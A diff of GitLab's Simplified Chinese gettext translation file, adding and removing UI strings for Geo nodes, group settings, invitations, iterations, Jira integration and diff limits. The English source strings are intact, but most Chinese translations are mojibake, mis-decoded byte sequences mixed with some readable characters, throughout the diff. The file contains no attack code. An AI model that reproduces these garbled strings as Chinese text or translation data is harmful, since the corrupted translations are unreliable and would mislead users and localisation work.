-msgstr "%{timeAgoStr} (%{pendingEvents}事件)"
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr "节点出现故障或æŸå。"
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr "节点è¿è¡Œç¼“æ…¢ã€è¶…è½½, 或者在åœæœºåŽåˆšåˆšæ¢å¤ã€‚"
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr "查询Geo故障排除信æ¯"
-
-msgid "GeoNodes|Data replication lag"
-msgstr "æ•°æ®åº“åŒæ­¥æ»žåŽ"
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr "与主存储é…ç½®ä¸ä¸€è‡´"
-
-msgid "GeoNodes|Full"
-msgstr "全部"
-
-msgid "GeoNodes|GitLab version"
-msgstr "GitLab版本"
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr "GitLab版本与主节点版本ä¸ä¸€è‡´"
-
-msgid "GeoNodes|Health status"
-msgstr "è¿è¡ŒçŠ¶å†µçŠ¶æ€"
-
-msgid "GeoNodes|Internal URL"
-msgstr "内部URL"
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr "游标处ç†çš„最åŽäº‹ä»¶ID"
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr "主节点中最新的事件ID"
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr "了解更多关于Geo节点状æ€"
-
-msgid "GeoNodes|Loading nodes"
-msgstr "载入节点"
-
-msgid "GeoNodes|New node"
-msgstr "新建节点"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr "æˆåŠŸä¿®å¤èŠ‚点认è¯ã€‚"
-
-msgid "GeoNodes|Node URL"
-msgstr "节点URL"
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr "æˆåŠŸåˆ é™¤èŠ‚点。"
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr "节点状æ€æ›´æ–°äºŽ%{timeAgo}。"
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr "æš‚åœå¤åˆ¶å°†åœæ­¢åŒæ­¥è¿›ç¨‹ã€‚确定继续å—?"
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr "移除Geo主节点会åœæ­¢åŒæ­¥åˆ°æ‰€æœ‰èŠ‚点。确定继续å—?"
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr "移除Geo次è¦èŠ‚点将åœæ­¢åŒæ­¥åˆ°è¯¥èŠ‚点。确定继续å—?"
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr "å¤åˆ¶çš„æ•°æ®å·²é€šè¿‡æ ¡éªŒç ä¸Ž%{nodeText}验è¯"
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr "å¤åˆ¶æ§½ WAL"
-
-msgid "GeoNodes|Replication slots"
-msgstr "å¤åˆ¶æ§½"
-
-msgid "GeoNodes|Replication status"
-msgstr "å¤åˆ¶çŠ¶æ€"
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr "选择性(%{syncLabel})"
-
-msgid "GeoNodes|Selective synchronization"
-msgstr "选择性åŒæ­¥"
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr "更改节点状æ€æ—¶å‘生错误"
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr "读å–节点信æ¯æ—¶å‘生错误"
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr "删除节点时å‘生错误"
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr "ä¿®å¤èŠ‚点时å‘生错误"
-
-msgid "GeoNodes|Storage config"
-msgstr "存储设置"
-
-msgid "GeoNodes|Sync settings"
-msgstr "åŒæ­¥è®¾ç½®"
-
-msgid "GeoNodes|Unused slots"
-msgstr "未使用的槽"
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr "更新于%{timeAgo}"
-
-msgid "GeoNodes|Used slots"
-msgstr "已使用的槽"
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr "通过%{geo} ,您å¯ä»¥åœ¨ä»»ä½•åœ°æ–¹å®‰è£…特殊的åªè¯»å’Œå¤åˆ¶çš„GitLab实例。在添加节点之å‰ï¼Œè¯·ä¸¥æ ¼æŒ‰ç…§ %{instructions}中所列的顺åºæ‰§è¡Œ 。"
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr "当å‰Geo节点é…置使用ä¸å®‰å…¨çš„HTTP连接, 建议使用HTTPS。"
-
-msgid "GeoNodes|primary node"
-msgstr "主节点"
-
-msgid "GeoNodes|secondary nodes"
-msgstr "次è¦èŠ‚点"
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr "%{itemTitle}校验和进度"
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr "%{itemTitle}验è¯è¿›åº¦"
-
msgid "Geo|%{label} can't be blank"
msgstr "%{label}ä¸èƒ½ä¸ºç©º"
@@ -14611,6 +14260,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr "失败"
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr "按状æ€ç­›é€‰"
@@ -14710,9 +14362,6 @@ msgstr "å¾…åŒæ­¥"
msgid "Geo|Pending verification"
msgstr "待验è¯"
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr "请å‚阅 Geo 疑难解答。"
-
msgid "Geo|Primary node"
msgstr "主节点"
@@ -14785,6 +14434,12 @@ msgstr "é‡æ–°åŒæ­¥"
msgid "Geo|Resync all"
msgstr "é‡æ–°åŒæ­¥æ‰€æœ‰"
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr "é‡è¯•è®¡æ•°"
@@ -14794,6 +14449,9 @@ msgstr "é‡æ–°æ ¡éªŒ"
msgid "Geo|Reverify all"
msgstr "é‡æ–°æ ¡éªŒæ‰€æœ‰"
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr "查看å¤åˆ¶çŠ¶æ€å¹¶ä¸Žä¸»è¦èŠ‚点é‡æ–°åŒæ­¥å’Œé‡æ–°éªŒè¯é¡¹ç›®ã€‚"
@@ -14824,9 +14482,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr "åŒæ­¥å¤±è´¥ - %{error}"
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr "%{itemTitle}çš„åŒæ­¥å·²ç¦ç”¨ã€‚"
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14848,6 +14503,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr "跟踪数æ®åº“æ¡ç›®å°†è¢«åˆ é™¤ã€‚确定继续å—?"
@@ -15388,9 +15052,6 @@ msgstr "转到您的代ç ç‰‡æ®µ"
msgid "Goal of the changes and what reviewers should be aware of"
msgstr "å˜æ›´çš„目的以åŠè¯„审人员应注æ„的事项。"
-msgid "Google Cloud Platform"
-msgstr "谷歌云平å°"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr "谷歌的身份验è¯æœª%{link_start}正确é…ç½®%{link_end}。如需使用这项æœåŠ¡ï¼Œè¯·è”ç³»GitLab管ç†å‘˜ã€‚"
@@ -15436,6 +15097,15 @@ msgstr ""
msgid "Graph"
msgstr "分支图"
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -15457,9 +15127,6 @@ msgstr "群组%{group_name}已安排删除。"
msgid "Group %{group_name} was successfully created."
msgstr "群组 %{group_name} å·²æˆåŠŸåˆ›å»ºã€‚"
-msgid "Group Audit Events"
-msgstr "群组审计事件"
-
msgid "Group Git LFS status:"
msgstr "群组Git LFS状æ€ï¼š"
@@ -15490,6 +15157,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr "群组头åƒ"
@@ -15559,14 +15229,11 @@ msgstr "群组å称(您的组织)"
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr "群组概览"
-
msgid "Group overview content"
msgstr "群组概述内容"
-msgid "Group path is already taken. Suggestions: "
-msgstr "群组路径已被使用。建议: "
+msgid "Group path is already taken. We've suggested one that is available."
+msgstr ""
msgid "Group path is available."
msgstr "群组路径å¯ç”¨ã€‚"
@@ -15601,9 +15268,6 @@ msgstr "群组已导出"
msgid "Group was successfully updated."
msgstr "群组已æˆåŠŸæ›´æ–°ã€‚"
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr "%{group_name}中的群组级事件(没有项目级别事件)"
-
msgid "Group: %{group_name}"
msgstr "群组:%{group_name}"
@@ -15916,18 +15580,15 @@ msgstr "阻止派生到群组外。"
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr "阻止派生设置未ä¿å­˜"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr "ç¦æ­¢ä¸Žå…¶ä»–群组共享 %{group} 中的项目"
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -15952,6 +15613,9 @@ msgstr "此设置已应用于 %{ancestor_group}。若è¦ä¸Žå…¶å®ƒç¾¤ç»„共享此
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr "此设置已应用于 %{ancestor_group}。 您å¯ä»¥è¦†ç›–此设置或 %{remove_ancestor_share_with_group_lock}。"
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr "此设置将应用于所有å­ç¾¤ç»„。å­ç¾¤ç»„所有者å¯åœ¨å…¶å±‚级更改此设置。在访问æƒé™è¢«æ‰‹åŠ¨ç§»é™¤å‰ï¼Œå·²æœ‰æƒè®¿é—®è¯¥é¡¹ç›®çš„群组将继续ä¿æŒè®¿é—®æƒé™ã€‚"
@@ -15991,15 +15655,15 @@ msgstr "当群组中å«æœ‰NPM包的项目时,无法更改"
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr "从 %{ancestor_group_name} 中删除共享群组é”"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
+msgstr ""
+
msgid "Groups"
msgstr "群组"
msgid "Groups (%{count})"
msgstr "群组(%{count})"
-msgid "Groups (%{groups})"
-msgstr "群组(%{groups})"
-
msgid "Groups and projects"
msgstr "群组和项目"
@@ -16180,6 +15844,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr "标题"
@@ -16295,6 +15962,9 @@ msgstr "éšè—有效数æ®"
msgid "Hide shared projects"
msgstr "éšè—共享项目"
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "éšè—值"
@@ -16377,9 +16047,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr "工作原ç†"
@@ -16527,6 +16194,9 @@ msgstr "如果å¯ç”¨ï¼Œåˆ™ä½¿ç”¨å¤–部æœåŠ¡ä¸Šçš„分类标签æ¥éªŒè¯å¯¹é¡¹ç›®
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr "如果YouTube网å€ä¸ºhttps://www.youtube.com/watch?v=0t1DgySidms,则视频ID为%{id}"
@@ -16703,9 +16373,6 @@ msgstr "导入项目自"
msgid "Import project members"
msgstr "导入项目æˆå‘˜"
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr "从Bitbucket导入项目"
@@ -17208,13 +16875,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr "事件"
msgid "Incident Management Limits"
msgstr "事件管ç†é™åˆ¶"
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17304,9 +16974,6 @@ msgstr "未å‘布"
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr "å¯ç”¨â€è·SLA时间â€å€’计时器"
-msgid "IncidentSettings|Alert integration"
-msgstr "警报集æˆ"
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17460,6 +17127,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17472,6 +17151,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17511,6 +17193,9 @@ msgstr "æ’入图片"
msgid "Insert inline code"
msgstr "æ’入内è”代ç "
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr "æ’入建议"
@@ -17526,9 +17211,6 @@ msgstr "有些æ¡ç›®ä¸å¯è§ï¼Œç”±äºŽå·²åœ¨insights.yml文件中筛选掉(è§pr
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr "此项目已在insights.yml文件中筛选掉(è§projects.onlyé…置以了解更多信æ¯)。"
-msgid "Install"
-msgstr "安装"
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17541,12 +17223,6 @@ msgstr "在群集上安装"
msgid "Installation"
msgstr "安装"
-msgid "Installed"
-msgstr "已安装"
-
-msgid "Installing"
-msgstr "正在安装"
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] "实例"
@@ -17566,6 +17242,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr "实例管ç†å‘˜ç»„已存在"
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17608,9 +17287,6 @@ msgstr "所有详细信æ¯"
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr "继承这些设置的所有项目也将被é‡ç½®ã€‚"
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17650,12 +17326,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr "当议题在Jira中设定的项目中创建åŽï¼ŒJira中创建的议题会显示于此。"
@@ -17680,9 +17368,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr "使用自定义设置的项目ä¸ä¼šå—到影å“。"
@@ -17833,6 +17518,9 @@ msgstr "输入无效,请é¿å…使用表情符å·"
msgid "Invalid login or password"
msgstr "登录å或密ç æ— æ•ˆ"
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr "无效的 pin ç "
@@ -17908,25 +17596,7 @@ msgstr "%{inviter}邀请您作为%{role}加入%{project_or_group_name}%{project_
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr "%{inviter}邀请您作为%{role}加入%{strong_start}%{project_or_group_name}%{strong_end}%{project_or_group}%{br_tag}"
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -17935,13 +17605,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr "ç«‹å³åŠ å…¥"
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -17962,8 +17629,8 @@ msgstr "邀请您的åŒäº‹"
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr "ç›®å‰æ‚¨è¿˜æ²¡æœ‰é‚€è¯·ä»»ä½•äººåŠ å…¥è¿™ä¸ªç¾¤ç»„。 您å¯ä»¥é‚€è¯·æ‚¨çš„åŒäº‹åˆ°ç¾¤ç»„ç§ï¼Œä»¥æ–¹ä¾¿è®¨è®ºé—®é¢˜ï¼Œåœ¨åˆå¹¶è¯·æ±‚中进行å作,以åŠåˆ†äº«æ‚¨çš„知识。"
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
-msgstr "%{linkStart}了解更多%{linkEnd}关于角色æƒé™çš„ä¿¡æ¯"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
+msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
msgstr "访问到期日期(å¯é€‰)"
@@ -17971,9 +17638,6 @@ msgstr "访问到期日期(å¯é€‰)"
msgid "InviteMembersModal|Cancel"
msgstr "å–消"
-msgid "InviteMembersModal|Choose a role permission"
-msgstr "选择角色æƒé™"
-
msgid "InviteMembersModal|Close invite team members"
msgstr "关闭邀请团队æˆå‘˜"
@@ -17998,6 +17662,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18409,18 +18076,36 @@ msgstr "迭代已更新"
msgid "Iterations"
msgstr "迭代"
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18430,6 +18115,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18442,6 +18130,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18460,9 +18154,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18562,9 +18262,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "%{noteable_model_name} 事件已ç¦ç”¨ã€‚"
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18613,6 +18319,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18703,9 +18412,6 @@ msgstr "作业产物"
msgid "Job artifacts"
msgstr "作业产物"
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr "作业已被删除"
@@ -18733,18 +18439,6 @@ msgstr "删除自我监控项目的任务正在进行中"
msgid "Job was retried"
msgstr "作业已é‡è¯•"
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr "作业"
@@ -18856,9 +18550,6 @@ msgstr "ç”±"
msgid "Join Zoom meeting"
msgstr "加入Zoom会议"
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr "加入于%{time_ago}"
@@ -19018,9 +18709,6 @@ msgstr ""
msgid "LFS"
msgstr "LFS"
-msgid "LFS object"
-msgstr "LFS对象"
-
msgid "LFS objects"
msgstr "LFS 对象"
@@ -19250,9 +18938,6 @@ msgstr "了解如何 %{link_start}贡献到内置的模æ¿%{link_end}"
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr "了解如何使用GitLab%{no_packages_link_start}å‘布和共享您的包%{no_packages_link_end}。"
-msgid "Learn how to enable synchronization"
-msgstr "了解如何å¯ç”¨åŒæ­¥"
-
msgid "Learn more"
msgstr "进一步了解"
@@ -19460,6 +19145,9 @@ msgstr "许å¯è¯åŽ†å²è®°å½•"
msgid "License ID:"
msgstr "许å¯è¯ID:"
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr "许å¯è¯æ¦‚览"
@@ -19674,6 +19362,9 @@ msgstr "将Prometheus监控链接到 GitLab。"
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -19908,6 +19599,15 @@ msgstr "显示全部文件"
msgid "Made this issue confidential."
msgstr "将此议题设置为ç§å¯†."
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr "维护模å¼"
@@ -19926,9 +19626,6 @@ msgstr "请确ä¿å¦¥å–„ä¿å­˜å®ƒ - 您无法å†æ¬¡è®¿é—®å®ƒçš„内容。"
msgid "Makes this issue confidential."
msgstr "将此议题设置为ç§å¯†."
-msgid "Manage"
-msgstr "管ç†"
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20148,9 +19845,6 @@ msgstr "æ¯ä¸ªç”¨æˆ·æ¯åˆ†é’Ÿæœ€å¤§é¡¹ç›®å¯¼å‡ºè¯·æ±‚æ•°"
msgid "Max Project Import requests per minute per user"
msgstr "æ¯ä¸ªç”¨æˆ·æ¯åˆ†é’Ÿæœ€å¤§é¡¹ç›®å¯¼å…¥è¯·æ±‚æ•°"
-msgid "Max access level"
-msgstr "最高访问级别"
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20220,6 +19914,9 @@ msgstr "æ¯ä¸ªç´¢å¼•æ“作的Elasticsearch批é‡è¯·æ±‚的最大并å‘性。"
msgid "Maximum delay (Minutes)"
msgstr "最大延迟 (分钟)"
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr "会è¯çš„最大有效期é™ã€‚"
@@ -20241,6 +19938,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr "最大文件大å°ä¸º 2MB。请选择一个较å°çš„文件。"
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr "æœ€å¤§å¯¼å…¥å¤§å° (MB)"
@@ -20253,6 +19953,9 @@ msgstr "作业最大超时设置无效"
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr "个人访问令牌有最长有效期设定,过期日期必须设为%{maximum_allowable_date}之å‰ã€‚"
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20313,9 +20016,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr "以代ç å­—节为å•ä½ã€‚排除生æˆçš„代ç å’Œä¾›åº”商代ç ã€‚"
-msgid "Median"
-msgstr "中ä½æ•°"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21091,9 +20791,6 @@ msgstr "例如:req / sec"
msgid "Mi"
msgstr "Mi"
-msgid "Microsoft Azure"
-msgstr "Microsoft Azure"
-
msgid "Middleman project with Static Site Editor support"
msgstr "支æŒé™æ€ç«™ç‚¹ç¼–辑器的Middleman项目"
@@ -21233,9 +20930,6 @@ msgstr "群组里程碑"
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "未找到里程碑 %{milestoneTitle}"
-msgid "Milestones|No milestones found"
-msgstr "未找到里程碑"
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr "处ç†ä¸­çš„议题(打开和已分é…)"
@@ -21494,9 +21188,6 @@ msgstr "找到多个模型类型: %{model_types}"
msgid "Multiple uploaders found: %{uploader_types}"
msgstr "找到多个上传器: %{uploader_types}"
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
